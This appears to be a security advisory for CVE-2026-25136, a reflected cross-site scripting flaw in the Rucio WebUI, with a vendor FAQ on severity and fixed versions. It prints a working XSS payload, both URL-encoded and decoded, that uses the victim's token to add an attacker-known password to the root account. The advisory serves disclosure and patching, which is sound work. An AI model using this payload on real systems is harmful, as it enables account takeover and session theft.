CVE-2026-25136

Rucio WebUI has a Reflected Cross-site Scripting Vulnerability

Any authenticated WebUI user who follows a crafted link or triggers a request containing attacker-controlled input in a field that causes an error may execute arbitrary JavaScript in the WebUI origin. This vulnerability is more impactful due to the lack of protection of cookies (The Session token does not have HttpOnly attribute) and lack of Content Security Policy that would prevent thrid-party scripts from loading.

Attackers can steal session cookies/tokens or perform actions as the victim like creating a new UserPass identity with an attacker known password.

Example URL to Create UserPass for Root

https://localhost:8443/ui/account_rse_usage?account=%3Cimg%20src%3Dx%20onerror%3D(function()%7Bo%3D%7B%7D%3Bo.method%3D'PUT'%3Bo.credentials%3D'include'%3Bo.headers%3D%7B'X-Rucio-Username'%3A'attackeruser'%2C'X-Rucio-Password'%3A'AttackerPassword123'%2C'X-Rucio-Email'%3A'demo%40example.org'%2C'X-Rucio-Auth-Token'%3Atoken%7D%3Bfetch(String.fromCharCode(47)%2B'identities'%2BString.fromCharCode(47)%2B'root'%2BString.fromCharCode(47)%2B'userpass'%2Co)%7D)()%3E

Account Payload to Create UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Creating identity for Root account via reflected XSS

All WebUI users are impacted.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-25136 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (35.8.3, 38.5.4, 39.3.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25136? CVE-2026-25136 is a high-severity cross-site scripting (XSS) vulnerability in rucio-webui (pip), affecting versions < 35.8.3. It is fixed in 35.8.3, 38.5.4, 39.3.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-25136? CVE-2026-25136 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of rucio-webui are affected by CVE-2026-25136? rucio-webui (pip) versions < 35.8.3 is affected.
4. Is there a fix for CVE-2026-25136? Yes. CVE-2026-25136 is fixed in 35.8.3, 38.5.4, 39.3.1. Upgrade to this version or later.
5. Is CVE-2026-25136 exploitable, and should I be worried? Whether CVE-2026-25136 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25136 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25136?
   • Upgrade rucio-webui to 35.8.3 or later
   • Upgrade rucio-webui to 38.5.4 or later
   • Upgrade rucio-webui to 39.3.1 or later